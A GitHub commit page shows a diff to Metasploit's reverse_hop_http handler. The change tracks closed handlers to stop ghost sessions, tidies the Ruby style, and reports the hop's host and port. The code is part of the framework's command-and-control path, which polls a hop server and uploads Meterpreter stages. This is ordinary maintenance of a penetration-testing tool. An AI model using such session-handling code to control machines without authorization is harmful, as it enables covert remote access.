Skip to content

Commit a83ca2b

Browse files
committed
Ghost sessions fix, fewer selfies, cleaner code
1 parent 9c8c16d commit a83ca2b

File tree

1 file changed

+17
-13
lines changed

1 file changed

+17
-13
lines changed

lib/msf/core/handler/reverse_hop_http.rb

Lines changed: 17 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -27,6 +27,7 @@ module ReverseHopHttp
2727
class << self; attr_accessor :hop_handlers end
2828
attr_accessor :monitor_thread # :nodoc:
2929
attr_accessor :handlers # :nodoc:
30+
attr_accessor :closed_handlers # :nodoc:
3031
attr_accessor :mclient # :nodoc:
3132
attr_accessor :current_url # :nodoc:
3233
attr_accessor :control # :nodoc:
@@ -57,6 +58,7 @@ def self.general_handler_type
5758
#
5859
def setup_handler
5960
self.handlers = {}
61+
self.closed_handlers = {}
6062
end
6163

6264
#
@@ -95,7 +97,7 @@ def start_handler
9597
delay = delay + 1 if delay < 10 # slow down if we're not getting anything
9698
crequest = hop_http.mclient.request_raw({'method' => 'GET', 'uri' => control})
9799
res = hop_http.mclient.send_recv(crequest) # send poll to the hop
98-
next if res == nil
100+
next if res.nil?
99101
if res.error
100102
print_error(res.error)
101103
next
@@ -116,7 +118,7 @@ def start_handler
116118
pack.body = received
117119
hop_http.current_url = urlpath
118120
hop_http.handlers[urlpath].call(hop_http, pack)
119-
else
121+
elsif !closed_handlers.include? urlpath
120122
#New session!
121123
conn_id = urlpath.gsub("/","")
122124
# Short-circuit the payload's handle_connection processing for create_session
@@ -154,14 +156,15 @@ def stop_handler
154156
#
155157
def add_resource(res, opts={})
156158
self.handlers[res] = opts['Proc']
157-
start_handler if self.monitor_thread == nil
159+
start_handler if monitor_thread.nil?
158160
end
159161

160162
#
161163
# Removes a resource.
162164
#
163165
def remove_resource(res)
164-
self.handlers.delete(res)
166+
handlers.delete(res)
167+
closed_handlers[res] = true
165168
end
166169

167170
#
@@ -175,14 +178,14 @@ def close_client(cli)
175178
#
176179
def send_response(resp)
177180
if not resp.body.empty?
178-
crequest = self.mclient.request_raw(
181+
crequest = mclient.request_raw(
179182
'method' => 'POST',
180-
'uri' => self.control,
183+
'uri' => control,
181184
'data' => resp.body,
182-
'headers' => {'X-urlfrag' => self.current_url}
185+
'headers' => {'X-urlfrag' => current_url}
183186
)
184187
# if receiving POST data, hop does not send back data, so we can stop here
185-
self.mclient.send_recv(crequest)
188+
mclient.send_recv(crequest)
186189
end
187190
end
188191

@@ -207,7 +210,8 @@ def localinfo
207210
# Returns the URL of the remote hop end
208211
#
209212
def peerinfo
210-
URI(full_uri).host
213+
uri = URI(full_uri)
214+
"#{uri.host}:#{uri.port}"
211215
end
212216

213217
#
@@ -231,7 +235,7 @@ def send_new_stage(control)
231235
url = full_uri + conn_id + "/\x00"
232236

233237
print_status("Preparing stage for next session #{conn_id}")
234-
blob = self.stage_payload
238+
blob = stage_payload
235239

236240
# Replace the user agent string with our option
237241
i = blob.index("METERPRETER_UA\x00")
@@ -270,15 +274,15 @@ def send_new_stage(control)
270274
blob = encode_stage(blob)
271275

272276
#send up
273-
crequest = self.mclient.request_raw(
277+
crequest = mclient.request_raw(
274278
'method' => 'POST',
275279
'uri' => control,
276280
'data' => blob,
277281
'headers' => {'X-init' => 'true'}
278282
)
279-
res = self.mclient.send_recv(crequest)
283+
res = mclient.send_recv(crequest)
280284
print_status("Uploaded stage to hop #{full_uri}")
281-
print_error(res.error) if res != nil && res.error
285+
print_error(res.error) if !res.nil? && res.error
282286

283287
#return conn info
284288
[conn_id, url]

0 commit comments

Comments
 (0)